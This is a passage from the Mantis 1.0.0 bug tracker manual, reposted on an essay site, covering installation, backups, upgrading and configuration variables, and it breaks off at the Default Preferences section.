Free Essay

Mantis

In:

Submitted By shiroemon612
Words 18248
Pages 73
v 1.0.0

Manual
(as of May 19, 2005)

Manual
(1.0.0)

Last Modified: April 22, 2005 05:04AM

Description
This is the manual for Mantis version 1.0.0. The Mantis manual is modeled after the PHP Manual. It is authored via the "manual" module in Mantis CVS. You can view the latest snapshot of the manual from here. You can download it for offline use here.

Contents
1. About Mantis .......................................................................................5 1. About the Name .........................................................................7 2. History .....................................................................................8 3. Minimum Requirements ...............................................................9 4. Download................................................................................. 11 2. Installation ........................................................................................ 12 1. Backups .................................................................................. 15 2. Upgrading ............................................................................... 16 3. CVS Integration ....................................................................... 17 4. Uninstall .................................................................................. 18 3. Configuration .................................................................................... 19 1. Database ................................................................................ 20 2. Path ....................................................................................... 21 3. Webserver .............................................................................. 22 4. Version ................................................................................... 23 5. Email ...................................................................................... 24 6. Language ................................................................................ 28 7. Display ................................................................................... 29 8. Time ...................................................................................... 31 9. JpGraph .................................................................................. 32 10. Date ....................................................................................... 33 11. News ...................................................................................... 34 12. Default Preferences .................................................................. 35 13. Summary ................................................................................ 37 14. Bugnote .................................................................................. 38 15. File Upload .............................................................................. 39 16. HTML ..................................................................................... 41 17. Authentication ......................................................................... 42 18. Status Settings ........................................................................ 43 19. Filters ..................................................................................... 45 20. Misc ....................................................................................... 46 21. Colors .................................................................................... 47 22. Cookies .................................................................................. 48 23. Database Tables ...................................................................... 49 24. Speed Optimisation .................................................................. 50 25. Reminders .............................................................................. 51 26. Bug History ............................................................................. 52

4.

5.

6. 7.

8.

27. Sponsorship ............................................................................ 53 28. Source Control Integration ........................................................ 54 29. Custom Fields .......................................................................... 55 30. My View Settings ..................................................................... 56 31. Relationships ............................................................................ 57 Page Descriptions .............................................................................. 58 1. Login page .............................................................................. 59 2. Main page ............................................................................... 60 3. View Bugs page ....................................................................... 61 4. Bug View Simple page .............................................................. 63 5. Bug View Advanced page .......................................................... 64 6. Bug Change Status page ........................................................... 65 7. Bug Update Simple page ........................................................... 66 8. Bug Update Advanced page ....................................................... 67 9. My Account Page ...................................................................... 68 10. System Management Pages ....................................................... 69 1. Manage Users ................................................................ 70 2. Manage Projects Page ..................................................... 71 3. Manage Custom Fields .................................................... 72 4. Manage Global Profiles .................................................... 74 5. Manage Configuration ..................................................... 75 1. Workflow Thresholds ............................................. 76 2. Workflow Transitions ............................................. 79 3. Email Notifications ................................................. 80 11. Monitor Bug ............................................................................ 81 12. Reopen Bug ............................................................................. 82 13. Delete Bug .............................................................................. 83 14. Close Bug ............................................................................... 84 15. Assign to Me ............................................................................ 85 16. Resolve Bug ............................................................................ 86 17. News Syndication...................................................................... 87 Customizing Mantis ............................................................................ 88 1. Custom Fields .......................................................................... 89 2. Enumerations .......................................................................... 91 3. Email Notifications .................................................................... 93 4. Customizing Status Values ........................................................ 95 5. LDAP ...................................................................................... 97 6. Custom Functions ..................................................................... 98 1. Defined Functions ........................................................... 99 2. Example Custom Function .............................................. 100 Troubleshooting ............................................................................... 101 1. Installation ............................................................................ 102 2. jpgraph ................................................................................. 103 Modifications ................................................................................... 104 1. Phorum ................................................................................ 105 2. phpWebSite ........................................................................... 109 3. Anonymous Reports ............................................................... 111 4. Daily Reports.......................................................................... 114 Development ................................................................................... 117 1. Contributing .......................................................................... 118 2. Coding Guidelines .................................................................. 120

3. CVS ..................................................................................... 123 4. Localization ........................................................................... 125 5. Database .............................................................................. 126 6. Roadmap .............................................................................. 128 7. Configuration Variables ............................................................ 130 9. Support .......................................................................................... 132 1. Mailing Lists .......................................................................... 133 2. IRC ....................................................................................... 134 10. Appendix ........................................................................................ 135 1. ChangeLog ............................................................................ 136 2. Credits ................................................................................. 157 3. Alternatives ........................................................................... 159 4. Links .................................................................................... 160 5. Security ................................................................................ 161 1. Issues with no security advisories ................................... 162 2. 2002-01 SQL poisoning vulnerability in Mantis .................. 164 3. 2002-02 Limiting output to reporters can be bypassed ....... 167 4. 2002-03 Bug listings of private projects can be viewed ...... 169 5. 2002-04 Arbitrary code execution vulnerability in Mantis .... 172 6. 2002-05 Arbitrary code execution and file reading ............. 175 7. 2002-06 Private bugs accessible in Mantis ....................... 178 8. 2002-07 Bugs in private projects listed on 'View Bugs' ....... 181 9. 2004-01 Various vulnerabilities in Mantis .......................... 183 6. Manual Improvements ............................................................ 185 7. Testmonials............................................................................ 186

About Mantis
Last Modified: August 21, 2003 13:08PM (Any)

Description
What is it? Mantis is a web based bugtracking system. It is currently in development and is considered a beta. It is written in the PHP scripting language and requires a MySQL database and a webserver. Mantis has been installed on Windows, MacOS, OS/2, and a variety of Unix operating systems. Any web browser should be able to function as a client. It is released under the terms of the GNU General Public License (GPL). Mantis is free to use and modify. It is free to redistribute as long as you abide by the distribution terms of the GPL. Features and Benefits Free Easy to install Web based Platform independent Multiple projects Multiple languages Emailing Simple Search Viewing filters PHP4

Goals The goals for this project are to produce and maintain a lightweight, simple bugtracking system. Additions of complexity/features are modular so that users can be shielded from unwanted clutter. Thus, much of the package has a simple version of a feature along with a more fully developed version. In the 'core' package the goal is to have the most important, most used, most time saving portions of a bugtracking system. The product is designed to be easily modifiable, customizable, and upgradeable. Anyone with intermediate PHP and MySQL experience should be able to customize Mantis to suit their needs. Guidelines Here are some of the guidelines that are followed in Mantis: Quick access to "What I want to do" Simple navigation Layered complexity Consistency Scale to browser window size Minimal clutter Minimal graphics No frames No animations
Page 5

No Javascript

Versioning The release numbering convention we use is major.minor.micro (eg. 0.15.8). Major - Indicates a very large change in the core package. Rewrites or major milestones. Minor - Significant amount of feature addition/modification. Anything that requries an ugprade script. Micro - Mostly bug fixes or minor features We will release a new version for a significant bugfix as often as daily. Currently, Mantis is considered beta software. Version 1.0.0 will be used when we consider Mantis to be production quality. This means it should be feature full and stable enough for full production use.

Contents
1. 2. 3. 4. About the Name History Minimum Requirements Download

Page 6

About the Name
Last Modified: August 21, 2003 13:08PM (Any)

Description
When initially seeking to name this project Ken ran into a problem every programmer encounters. What is a good name? It has to be descriptive, unique, and not too verbose. Additionally having multiple meanings would be a nice touch or the perceptive. Quickly ruled out were php*Something* names which, incidentally, although popular, do not seem to be condoned by the PHP Group developers. Drawing inspiration from Open Source projects like Apache, Mozilla, Gnome, and so forth resulted in two eventual choices: Dragonfly and Mantis. Dragonfly was already the name of a webmail package. So the name became Mantis. Praying Mantis are insects that feed primarily on other insects and bugs. They are extremely desirable in agriculture as they devour insects that feed on crops. They are also extremely elegant looking creatures. So, we have a name that is fairly distinctive and descriptive in multiple ways. And that is how the project was named.

Page 7

History
Last Modified: August 21, 2003 11:08AM (Any)

Description
Kenzaburo Ito and a friend originally created a bugtracker as an internal tool for their pet project. A search for good, free packages came up with nothing suitable so they wrote their own. After a rewrite and cleanup it was made available to the public via the GNU General Public License (GPL). The GPL was chosen partly because of his belief that development tools should be cheap or free. In 2002, Ken was joined by Jeroen Latour, Victor Boctor and Julian Fitzell to be the administrators and the core development team of Mantis. This marks a new era in Mantis lifetime where it is now a team project.

Page 8

Minimum Requirements
Last Modified: August 27, 2003 17:08PM (0.18.0)

Description
Mantis runs on Windows, MacOS, OS/2, Linux, Solaris, the BSDs, and just about anything that supports the required server software. Mantis has modest software and hardware requirements. You need a computer to run the server software. All of the required software is free for commercial or non-commercial use. The computer can be a shared public web server or a dedicated co-loc box. It can even run on an office machine. Any Pentium class computer should be adequate for moderate usage. You'll just need enough diskspace for the database to grow and enough memory to avoid virtual memory thrashing Diskspace Mantis requires about 2MBs of diskspace for file storage. MySQL will require additional diskspace to store the issues. A typical installation with 2,000 issues and light file upload usage should take up around 10-20MBs of disk space. Attachments will inflate the size required according to their size. Software PHP 4.0.6 and higher MySQL database 3.23.2 and higher (alternate database support is planned for 2.0) Web server (Apache, IIS, etc.)

Cost Mantis is free. The net cost to use Mantis is the time to download, install, and configure the software plus any potential hardware costs. Continued maintenance should be minimal unless you are tweaking the package. Time If you've done this sort of thing before it will probably take about 5-60 minutes. If not, plan on around 1-8 hours depending on the problems you run into. If you're unlucky then plan on more, or just give up now *wink*. PHP You don't have to know a thing about PHP to use Mantis, unless something goes wrong. Then it helps to be able to tinker with PHP scripts (when there's a little bug or you want to tweak something). PHP is a simple scripting language and syntacticaly resembles C. It is very easy to pickup and learn. In fact, it makes normally difficult tasks so ridiculously easy that you'll want to use it for lots of simple tasks (like washing dishes). The PHP Manual is phenomenal. If you ever have a question about a PHP function then run to it. The user comments always shed light into issues that others like you have experienced. There are many sites that offer basic tutorials for learning PHP and/or MySQL (DevShed | WebMonkey).
Page 9

MySQL Basic administration of MySQL is necessary. At a minimum you should be able to: Login Create a new user Give the user permissions MySQL.com has excellent documentation. It is also highly recommended to use phpMyAdmin to administer your MySQL database. You can create a new database and edit tables with this excellent package. All you need to do beforehand is setup the database user(s). Webserver The webserver needs to be configured to handle PHP files. In Apache, this monumental task requires all of one line in the configuration file. There are also instructions for IIS, iPlanet/Netscape, Xitami, and more. All listed at the PHP Manual.

Page 10

Download
Last Modified: August 11, 2003 07:08AM (Any)

Description
Mantis is compressed in .tar.gz format which any reasonable decompression program can handle (Unix tar/gunzip, Winzip, StuffIt). Download Mantis Mirroring If you choose to mirror the software, then please sign up on the announcements mailing list. You should also place a link back to this site. Let the project administrators know so they can be aware of where mirrors are located.

Page 11

Installation
Last Modified: August 13, 2003 05:08AM (Any)

Description
Following are a new Mantis installation: Download Mantis Go through Mantis Configuration and set the database options + whatever options where you need to override the default values. Test your configuration through the admin folder Create a new administrator account and remove the standard user 'administrator'

Following are the steps to upgrade a Mantis installation: See Upgrading. TODO:Include useful information from doc/Installation.html.

TODO:The text below is copied from doc/INSTALL as is and is yet to be revised. ------------------------------------------------------------------------------Mantis - a php based bugtracking system Copyright (C) 2000-2002 Kenzaburo Ito - kenito@300baud.org Copyright (C) 2002-2003 Mantis Team - mantisbt-dev@lists.sourceforge.net ------------------------------------------------------------------------------INSTALLATION The following details the basic steps for installation on any system. The instructions may seem unix-centric but should work fine on Windows systems. Barring complications, it should take you about 10-20 minutes to install, configure, and be using Mantis. Amandeep Jawa has provided an alternative and more detailed installation document. Use a browser and open doc/installation.html. # --- Requirements ---------* MySQL 3.23.2 and higher * PHP 4.0.6 and higher * a webserver # --- Summary --------------1. 2. 3. 4. 5. 6. Tranfer files Uncompress files Generate database tables Edit configuration file PHP File extensions Login

******************************************************************************

Page 12

1. First, transfer the file to your webserver using whatever method you like best (ftp, scp, etc). You will need to telnet/ssh into the server machine for the next steps. 2. Next, untar/gunzip it to the directory that you want. The usual command is (1 step): tar zxvf OR (2 steps): gunzip tar xvf Winzip, Stuffit, and other programs should also be able to handle decompression of the archive. At this point you may want to rename the directory to something simpler like 'mantis'. You will use the mv command to rename a directory (Windows users substitute the "ren" command or use explorer). mv mantis If you are upgrading see the UPGRADING document. 3. Next we will create the necessary database tables. Make sure you have created the database ahead of time. You should know your mysql username and password as well. Go into the sql directory and run the following command: mysql -u -p < db_generate.sql You could also cut and paste the sql statements from db_generate.sql into a package like phpMyAdmin or into your terminal window. e.g. if your username is bob, password is mypass, database name is bugtracker: mysql -ubob -pmypass bugtracker < db_generate.sql You may require an additional host parameter if your SQL server is on another machine. e.g. if your server is sqlserver mysql -h sqlserver -ubob -pmypass bugtracker < db_generate.sql * WARNING: A DEFAULT ADMINISTRATOR level account is created. The account name and password are administrator / root. Use this when you first login to Mantis. Immediately go to Manage and create at least one administrator level account. Immediately after that DELETE the administrator account. You can recreate it but you should delete the account to prevent the cookie_string from being used to trick the package. It would be even better to rename the account or delete it permanently. REMEMBER: After setting up the package, REMOVE the default administrator account. 4. The next part involves configuring the installation to work with your specific setup. In the installation directory, locate config_inc.php.sample and copy it to config_inc.php.
Page 13

Open the file in an editor and edit the values to match your settings. The sample file contains only essential settings. There are many more that you can use to customize your Mantis installation. See the customization.html file for in depth explanations. The file will overwrite the default values with those necessary for setup. You can load up admin/check.php to see if you set things up correctly. *** NOTE: check.php sometimes reports the value of register_globals incorrectly. Create a page with this line in it: , save it with a .php extension and load it up in your web browser. It will, among a multitude of other things, have the correct value of register_globals that you are using. 5. Mantis now uses only .php files. If your webserver is configured for other extensions (.PHP3, .PHTML) then you will have to have the administrator add support for .PHP files. This should be a trivial modification. Documentation can be found at: http://www.php.net/manual/en/installation.php 6. Login to your bugtracker and go to the manage section. Click on the projects link. You will need to ADD a new project. Then EDIT the new project and remember to ADD at least one category. Otherwise you won't be able to add any bug reports. That should be it. You're off and running. For some help on custom editing of the site please read the CUSTOMIZATION file.

Contents
1. 2. 3. 4. Backups Upgrading CVS Integration Uninstall

Page 14

Backups
Last Modified: August 21, 2003 14:08PM (Any)

Description
It is recommended to backup your Mantis database on a regular basis. This is easy to accomplish using the mysqldump command: mysqldump -u -p > To restore a backup you will need to have a clean database. Then run: mysql -u -p <

You can also perform both of these tasks using phpMyAdmin A good idea is to make a backup script and run it regularly through cron or a task scheduler (for Windows see WinCron). Using the current date in the filename can prevent overwriting and make cataloguing easier. !!! Backups should always be performed before an upgrade !!! Make sure to backup Mantis code (which includes your configs + possibly customization), bug attachments / project documents, and database contents.

Page 15

Upgrading
Last Modified: December 15, 2003 13:12PM (Any)

Description
!!! ALWAYS BACKUP CODE, DATA, AND CONFIGS BEFORE UPGRADING !!! This includes your Mantis directory, your attachments, and your database.

Unless you are familiar with PHP, it is not recommended to use non-released versions of Mantis (i.e. CVS versions). These versions are not tested for general use and there might not be an easy upgrade path for the next release from such intermediate versions. Generally for minor versions upgrade (eg: 0.17.3 to 0.17.5) you can just copy over the old code, however, for major updated (eg: 0.17.5 to 0.18.0) you should install on a new folder. You may want to backup up your current config_inc.php and any customizations that you may have made. Usually database modifications will occur between significant releases (like 0.17.x to 0.18.0). NOTE: The default configuration file can be located under Mantis main folder with the name config_defaults_inc.php. You can override these configurations by adding config_inc.php which should include only the configuration variables that you want to change from the defaults. Mantis will first pull the default values, then pull the site specific values. This way you will gain the new global variables but not have to continually reset your core settings. It is best to leave the default file alone. It is recommended to take a few minutes and create a minimal config_inc.php file that contains only values that are different from the config_defaults_inc.php file. Email values, database settings, path values, and any settings different from the defaults should go in here. Use the upgrade script (admin/upgrade.php) to upgrade your database to the latest schema. This script will detect the current state of your database and automatically apply the missing modifications. NOTE: The Mantis database user, needs to have privelage to modify the database schema (eg: CREATE privelage) in order for the upgrade script to run successfully.

Page 16

CVS Integration
Last Modified: September 16, 2004 20:09PM (Introduced in 0.19.0)

Description
CVS integration allows Mantis to register commits to the CVS source control system into corresponding bug notes in the issue tracker. The setup requires that the mantis installation be accessible on the computer running the CVS server. A copy of the Mantis config_inc.php file must be present. Note that the mysql database also needs to be accessible from the cvs machine. That is, "localhost" for $g_hostname won't work unless CVS and Mantis are hosted on the same machine. To activate the integration, the following line to the cvs "commitinfo" file. (Instructions to edit this file are in any number of CVS primers). ALL /usr/bin/php /path_to_mantis/core/checkin.php This will pass the commit message to checkin.php for all commits. If the string issue #nnnn is found in the commit message, the Mantis corresponding to "nnnn" will have the CVS commit message added as a bug mote to the issue. Multiple issues can be listed. This feature is configured through config_inc.php and through custom functions.

See also:

Source Control Integration for configuration, and Custom Functions

Page 17

Uninstall
Last Modified: September 16, 2004 20:09PM (Any)

Description
It is recommended that you make an backup in case you wish to use your data in the future. See the Backups page for details. To uninstall Mantis: Delete the Mantis directory and all files and subdirectories. Drop all Mantis tables from the database, these can be identified by the configured prefix for the installation. The default prefix is 'mantis'. Remove any customizations or additions that you may have made. If you have the permissions to create/drop databases and you have a specific database for Mantis that does not contain any other data, you can drop the whole database.

Page 18

Configuration
Last Modified: August 21, 2003 14:08PM (Any)

Description
The configuration options for Mantis are detailed in this section of the manual.

Contents
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. Database Path Webserver Version Email Language Display Time JpGraph Date News Default Preferences Summary Bugnote File Upload HTML Authentication Status Settings Filters Misc Colors Cookies Database Tables Speed Optimisation Reminders Bug History Sponsorship Source Control Integration Custom Fields My View Settings Relationships

Page 19

Database
Last Modified: September 26, 2004 04:09AM (Any)

Description
$g_hostname Host name or connection string for Database server. The default value is localhost. For mysql, this should be hostname or hostname:port. For other databases (experimental, not supported), this may be a connection string or hostname User name to use for connecting to the database. The user needs to have read/write access to the Mantis database. The default user name is "root". Password for the specified user name. The default password is empty.

$g_db_username

$g_db_password

$g_database_name Name of database that contains Mantis tables. $g_db_type Experimental Defines the database type. The supported default is 'mysql'. Experimental options include 'mssql', 'odbc_mssql', 'postgres', 'postgres64', 'postgres7', and 'pgsql'. Introduced in 0.19.0

The database settings must be set in order for the package to work properly. These settings should be provided to you by your system administrator or your hosting company.

Page 20

Path
Last Modified: August 21, 2003 15:08PM (Any)

Description
$g_path URL to your installation as seen from the web browser; this is what you type into the URL field. Requires trailing '/' character. eg. $g_path = 'http://www.example.com/mantis/';

In the following example https protocol is used: eg. $g_path = 'https://www.example.com/mantis/';

Mantis will default this to the correct value. However, in some cases you might need to override the default. $g_icon_path This is the URL to the icons (images) directory as seen from the web browser. All Mantis images/icons are loaded from this URL. The default value for this URL is based on $g_path, hence, if you override $g_path, you will have to override this one as well.

$g_absolute_path This is the absolute path to your installation, it is defaulted to the directory where config_defaults_inc.php resides. This is the path that you see when you make a telnet or ssh connection to the server. You can type pwd to find out. Requires trailing '/' character. eg. $g_absolute_path = '/usr/apache/htdocs/mantis/';

Before Mantis 0.17.3 symbolic links were not allowed due to the way file downloads were handled. This has been fixed. $g_core_path This is the path to the core directory of your installation. The default value is usually OK, unless you move the 'core' directory out of your webroot. Requires trailing '/' character. This is the url to the Mantis manual. It is defaulted to the Mantis Online manual. Mantis links to this URL for full documentation, it will also be used in the future to link for the [?] form hints. Requires trailing '/' character.

$g_manual_url

These path settings are important for proper linking within Mantis. In most scenarios the default values should work fine, and you should not need to override them.

Page 21

Webserver
Last Modified: August 3, 2003 07:08AM (Any)

Description
$g_use_iis You need to set this to ON if you use Microsoft's IIS. This helps correct a bug in IIS. You should not need to change the default value since it now auto-detects IIS server software. This issue has been known since at least Jan 1999 and has not been fixed: BUG Q176113

Page 22

Version
Last Modified: August 19, 2002 08:08AM (Any)

Description
$g_mantis_version The version for the Mantis installation. There shouldn't be a need to override this value. Development versions will have '-CVS' suffix attached to it. $g_show_version Whether to show the Mantis version at the bottom of each page or not. Default is ON.

Page 23

Email
Last Modified: August 24, 2004 18:08PM (Any)

Description
$g_administrator_email The administrator's e-mail address. This is mainly prompted to the user in case of errors that might require the intervention of the system administrator. For example, SQL errors. sysadmin@example.com $g_webmaster_email The webmaster's e-mail address. This address is displayed in the bottom of all Mantis pages. webmaster@example.com $g_from_email The email address to be used as the source of all emails sent by Mantis. noreply@example.com $g_to_email Dropped in 0.19.0. All emails are going to be sent to this email address. This can be an email list or an archive address to be used to archive all notifications. If this functionality is not needed, then it can be set to nothing (''). Email address to receive bounced emails. Set to ON to enable e-mail notifications, OFF to disable them. Default is ON. Up to version 0.18.0a4 setting this option to OFF would disable all emails sent by Mantis. However, in 0.18.0a5 this was changed to have no effect on user sign-up notifications. $g_allow_signup $g_send_reset_password Allow users to signup for their own accounts. Default is ON. (added in 0.19) When set to ON, Mantis will email the users their new passwords when their accounts are reset. If set to OFF, the password will be reset to blank and no e-mail will be sent. Default is ON. (added in 0.19) Set to OFF to disable email checking. Default is ON. Set to OFF to disable email checking. Default is OFF. If ON, allows the user to omit an email address field. If you allow users to create their own accounts, they must specify an email at that point, no matter what the value of this option is. Otherwise they wouldn't get their passwords. Only allow and send email to addresses in the given domain. This is useful as a security feature and it is also useful in cases like Sourceforge where its servers are only limited to send emails to SourceForge email addresses in order to avoid spam. $g_limit_email_domain = 'users.sourceforge.net';

$g_return_path_email $g_enable_email_notification

$g_validate_email $g_check_mx_record $g_allow_blank_email

$g_limit_email_domain

$g_show_user_email_threshold This specifies the access level that is needed to have user names hyperlinked with mailto: links. The default value is NOBODY, hence, even administrators won't have this feature enabled.
Page 24

$g_use_x_priority $g_mail_priority

Dropped in 0.19.0.Set to OFF to remove X-Priority header. Default is ON. If use_x_priority is set to ON, what should the value be? Urgent = 1, Not Urgent = 5, Disable = 0 . Default is 3 Some MTAs interpret X-Priority = 0 to mean 'Very Urgent' Dropped in 0.19.0.Specifies whether email recipients should be added in the To: field (OFF) or the Bcc: field (ON). The default value is ON. You might need to turn this option OFF on Windows systems, as long as php-mail-function has its bcc-bug (~PHP 4.0.6). However, if you are using PHPMailer for sending emails you probably would not have a problem. Dropped in 0.19.0. This is now the only mailing mechanism.Use PHPMailer instead of standard mail() function. Get the PHPMailer-package from http://phpmailer.sourceforge.net. The installation is very simple you only need 2 plain text php-files: class.smtp.php and class.phpmailer.php. Copy these files to your php-include-dir i.e. 'c:\php\includes' or '/usr/lib/php/includes' and add this path to the 'include_path'-entry in the php.ini file. The installation is described in the readme and there is also a simple example. PHPMailer comes with a detailed documentation in phpdoc format. Default is OFF. Although the default value is OFF. It is recommended to use PHPMailer. It is also planned that in future Mantis releases PHPMailer will be the only supported option for sending emails.

$g_use_bcc

$g_use_phpMailer

$g_phpMailer_path

Dropped in 0.19.0.Path to PHPMailer directory (default is empty). This directory must include class.phpmailer.hpp and class.smtp.php. The default should work if the PHPMailer directory is in the include_path. If a path is specified, it should be terminated by a directory separator. Select the method to mail by: 0 - mail(), 1 - sendmail 2 SMTP. Default is 0. This option allows you to use a remote SMTP host. Must use the phpMailer script. Name of smtp host, needed for phpMailer, taken from php.ini Default is 'localhost' This option allows the use of SMTP Authentication when using a remote SMTP host with PHPMailer. If smtp_username is not '' then the username and password will be used when logging in to the SMTP server. Default is ''. This is the password that is used in SMTP Authentication . Default is ''. Specify whether e-mails should be sent with the category set or not. This is tested with Microsoft Outlook. More testing for this feature + other formats will be added in the future. OFF, EMAIL_CATEGORY_PROJECT_CATEGORY (format: [Project] Category). Default is OFF.
Page 25

$g_phpMailer_method $g_smtp_host

$g_smtp_username

$g_smtp_password $g_email_set_category

$g_email_separator1 $g_email_separator2 $g_email_padding_length

Default is str_pad('', 70, '='); This means 70 equal signs. Default is str_pad('', 70, '-'); This means 70 minus signs. Default is 28.

Mantis uses flags and a threshold system to generate emails on events. For each new event, email is sent to: the reporter, qualified by the notify flag 'reporter' below the handler (or Assigned to), qualified by the notify flag 'handler' below anyone monitoring the bug, qualified by the notify flag 'monitor' below anyone who has ever added a bugnote the bug, qualified by the notify flag 'bugnotes' below anyone assigned to the project whose access level is greater than or equal to the notify flag 'threshold_min' and less than or equal to the notify flag 'threshold_max' below From this list, those recipients who meet the following criteria are eliminated: the the the the originator of the change, if $g_email_receive_own is OFF recipient either no longer exists, or is disabled recipient has turned their email_on_ preference OFF recipient has no email address extered

$g_email_receive_own This defines whether users should receive emails for their own actions. This option is defaulted to OFF, hence, users do not receive email notification for their own actions. This can be a source for confusions for users upgrading from Mantis 0.17.x versions, since in these versions users used to get notified of their own actions. $g_default_notify_flags Associated with each action a list of flags to control who should be notified. The default will be used if the action is not included in $g_notify_flags or if the flag is not included in the specific action definition. The list of actions include: new, assigned, resolved, bugnote, reopened, closed, deleted, feedback. The default is: $g_default_notify_flags = array('reporter' => ON, 'handler' => ON, 'monitor' => ON, 'bugnotes' => ON, 'threshold_min' => NOBODY, 'threshold_max' => NOBODY); threshold_min and threshold_max are used to send messages to all members of the project whose status is greater than or equal to "threshold_min" and less than or equal to "threshold_max". Sending messages to everyone would set "threshold_min" to ANYBODY and "threshold_max to "NOBODY". To send to all DEVELOPERS and above (as 0.17.5), use DEVELOPER and NOBODY respectively. $g_notify_flags Defines the notification flags that are different from the defaults that are defined in $g_default_notify_flags. The following code overrides the default by disabling notifications to bugnote authors and users monitoring the bug on submitting a new bug:
Page 26

$g_notify_flags['new'] = array('bugnotes' => OFF, 'monitor' => OFF); Available actions include: 'new': a new bug has been added 'reopened': the bug has been reopened 'deleted': a bug has been deleted 'owner': the bug has been assigned a new owner (was 'assigned' in 0.18) 'bugnote': a bugnote has been added to a bug 'sponsor': the sponsorship for the bug has changed (added, deleted or updated) (added in 0.19) 'relation': a relationship for the bug has changed (added, deleted or updated) (added in 0.19) In addition, an action can match the bug status in $g_status_enum_string. Note that spaces in the string are replaced with underscores ('_') in creating the action. Thus, using the defaults, 'feedback' would be a valid action. (was 'status_' in 0.18)
See also:

Email Notifications

Page 27

Language
Last Modified: August 13, 2004 09:08AM (Any)

Description
$g_default_language This is the language used by default in Mantis. As of 0.19.0, this may be set to 'auto' where Mantis will try to determine the language from the browser. $g_language_choices_arr This is to be set to an array of languages that are available for users to choose from. The default value includes all languages supported by Mantis. The administrator can limit the languages available for users to choose from by overriding this value. For example, to support English, French and German include the following code: array( 'english', 'french', 'german' ); Of course, administrators can also add their own languages by translating the strings and creating their own language files. You are encouraged to share any translation work that you do with the Mantis team. This will ensure that the newly created language file is maintained with future Mantis releases. All language files reside in the lang/ folder. They are all named according to the following pattern: strings_.txt. $g_fallback_language This is the language used if Mantis cannot determine the language from the browser. It defaults to 'english'. As of 0.19.0, this may be set to 'auto' where Mantis will try to determine the language from the browser. If a string does not exist in the active language, the English string is used instead.

Page 28

Display
Last Modified: August 13, 2004 09:08AM (Any)

Description
$g_window_title $g_page_title $g_show_report This is the browser window title ( tag). This is a heading that is displayed in the viewing area of the page. This option is used as a default value for user preferences. This field indicates whether users should get the simple bug report page, advanced bug report page, or both. Possible values are: BOTH, SIMPLE_ONLY, or ADVANCED_ONLY. The default is BOTH. This option is used as a default value for user preferences. This field indicates whether users should get the simple bug update page, or the advanced bug update page, or both. Possible values are: BOTH, SIMPLE_ONLY, or ADVANCED_ONLY. The default is BOTH. This option is used as a default value for user preferences. This field indicates whether users should get the simple bug view page, or advanced bug view page, or both. Possible values are: BOTH, SIMPLE_ONLY, or ADVANCED_ONLY. The default is BOTH.

$g_show_update

$g_show_view

Users can set their own default preferences for the show report/update/view if the configuration value is BOTH. However, if the value is set to SIMPLE or ADVANCED, then the users should be forced to use the configured values. Note that these settings apply to all projects. $g_show_footer_menu $g_show_project_menu_bar Show the menu at the bottom of the page as well as at the top. Default value is OFF. This option specifies whether to add menu at the top of the page which includes links to all the projects. The default value is OFF. When a bug is assigned then replace the word "assigned" with the name of the developer in parenthesis. Default is ON. Specifies whether to show priority as text (ON) or icon (OFF) in the view all bugs page. Default is OFF (icon). Show project links when in All Projects mode. Default is ON. Specifies the position of the status colour legend, can be: STATUS_LEGEND_POSITION_TOP or STATUS_LEGEND_POSITION_BOTTOM. Default is STATUS_LEGEND_POSITION_BOTTOM.

$g_show_assigned_names

$g_show_priority_text $g_show_bug_project_links $g_status_legend_position

$g_show_attachments_indicator In view all bug page, show a clip icon next to bugs that has one or more attachments. The default value is OFF. The reason why this is defaulted to OFF is that it adds an extra query for every bug dispayed in the list. $g_show_product_version This controls display of the version dropdown menus in the report, view and update pages. Valid values are ON,
Page 29

OFF, and AUTO. ON forces the display of the dropdown even if no versions are defined. OFF will suppress the dropdown always. AUTO will suppress the dropdown, if no versions are defined for the project. Introduced in 0.19.0. $g_show_realname This control will replace the user's userid with their realname. If it is set to ON, and the real name fiels has been populated, the replacement will occur. It defaults to OFF. Introduced in 0.19.0.

Page 30

Time
Last Modified: August 3, 2003 08:08AM (Any)

Description
$g_cookie_time_length Time for 'permanent' cookie to live in seconds. This is what is used when a user selects "save login". Default is the equivalent of 1 year (30000000). Time to delay between page redirects (in seconds). Users can override this setting in their user preferences. Default is 2 seconds. Time to wait before document is stale (in minutes). This is used in meta_inc.php. Default is 0 (expires right away).

$g_wait_time

$g_content_expire

$g_long_process_timeout This timeout is used by pages which does time consuming operations like upgrading the database. The default value of 0 disables timeout. Note that this timeout is specified in seconds.

Page 31

JpGraph
Last Modified: August 3, 2003 08:08AM (Any)

Description
Jpgraph is a package that is used to render graphs. It is used by Mantis to provide the users with graphs that capture the state of the bugs database. Following are the configuration options that are related to configuring it: $g_use_jpgraph Enable the use of jpgraph. Default is OFF.

$g_jpgraph_path Path to jpgraph base directory. Don't forget to add the trailing '/'. To use the Jpgraph addon you need the JpGraph package. You can place the package whereever you want, but you have to set the var in jpgraph.php eg. DEFINE("DIR_BASE","/www/mantisbt/jpgraph/");

Page 32

Date
Last Modified: August 3, 2003 08:08AM (Any)

Description
$g_short_date_format $g_normal_date_format This format is used in the bug listing pages (eg: View Bugs). Default is 'm-d-y'. This format is used in the view/update bug pages, bug notes, manage section, and news section. Default is 'm-d-y H:i'.

$g_complete_date_format This format is used on the top of each page (current time) and the emails that are sent out. Default is 'm-d-y H:i T'. These variables control how the date is displayed (default is 'US' formatting). Go to the date() function in PHP online manual for detailed instructions on date formatting.

Page 33

News
Last Modified: August 4, 2003 08:08AM (Any)

Description
$g_news_limit_method $g_news_view_limit Limit the news entry that are displayed by number of entries (BY_LIMIT) or by date (BY_DATE). The default is BY_LIMIT. The limit for the number of news entries to be displayed. This option is only used if $g_news_limit_method is set to BY_LIMIT. Specifies the number of dates after which the news are not displayed. This option is only used if $g_news_limit_method is set to BY_DATE.

$g_news_view_limit_days

$g_private_news_threshold Specifies the access level required to view private news. The default is DEVELOPER. These options are used to control the query that selects the news entries to be displayed.

Page 34

Default Preferences
Last Modified: September 13, 2004 17:09PM (Any)

Description
